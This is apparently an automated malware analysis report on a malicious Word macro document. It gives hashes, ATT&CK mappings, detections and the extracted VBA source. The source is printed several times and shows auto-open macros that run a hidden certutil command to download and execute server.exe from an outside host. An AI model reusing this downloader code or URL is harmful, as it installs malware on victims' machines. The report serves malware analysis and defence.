Office (OOXML) malware analysis — malicious · 55958b820e8ea63d

MALICIOUS

Office (OOXML)

18.1 KB Created: 2021-06-14 13:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20

MD5: c162bd6e270b4c7ad7f64c2be65ab6e4 SHA-1: f7033b60cd094dcbcdf389bbfb6818d833e829ff SHA-256: 55958b820e8ea63d46a0a3f34879ea37d8784af0781ced3354dd25f34d1ec4c9

466 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059.003 Windows Command Shell T1036.005 Match Legitimate Name or Location

The sample contains VBA macros that are automatically executed upon opening the document, as indicated by the Document_open, auto_open, and auto_exec subroutines. The 'test' subroutine uses WScript.Shell to execute a command that downloads a file named 'server.exe' from 'http://ayntextile.com/DataFiles/server.exe' using certutil and saves it to 'C:\Users\public\Server.exe', then executes it. This indicates a downloader functionality aiming to execute a second-stage payload.

Heuristics 12

ClamAV: Win.Downloader.CertutilURLCache-6335698-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Win.Downloader.CertutilURLCache-6335698-0
VBA project inside OOXML medium 9 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Private Sub test()
Dim shell
Dim out
```

WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage

Matched line in script

Dim out
Set shell = VBA.CreateObject("WScript.Shell")
out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)

LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA

Matched line in script

Set shell = VBA.CreateObject("WScript.Shell")
out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
End Sub

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

Dim out
Set shell = VBA.CreateObject("WScript.Shell")
out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)

cmd.exe reference in VBA high OLE_VBA_CMD

cmd.exe reference in VBA

Matched line in script

Set shell = VBA.CreateObject("WScript.Shell")
out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
End Sub

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Sub
Private Sub autoopen()
test
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Attribute VB_Customizable = True
Private Sub Document_open()
test
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
End Sub
Private Sub auto_open()
test
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ayntextile.com/DataFiles/server.exe In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	803 bytes
SHA-256: `5faff4666193efb8965397358c430b13c5ecc1639a6fb63bd1314126982e8626`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() test End Sub Private Sub documentopen() test End Sub Private Sub auto_open() test End Sub Private Sub autoopen() test End Sub Private Sub auto_exec() test End Sub Private Sub test() Dim shell Dim out Set shell = VBA.CreateObject("WScript.Shell") out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False) End Sub Sub r() ' ' r Macro ' ' End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	15872 bytes
SHA-256: `23422d98e92e74fadb6519edfea551949ee2925ba7d6417bccf62a72adce945e`
Detection ClamAV: Win.Downloader.CertutilURLCache-6335698-0 Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.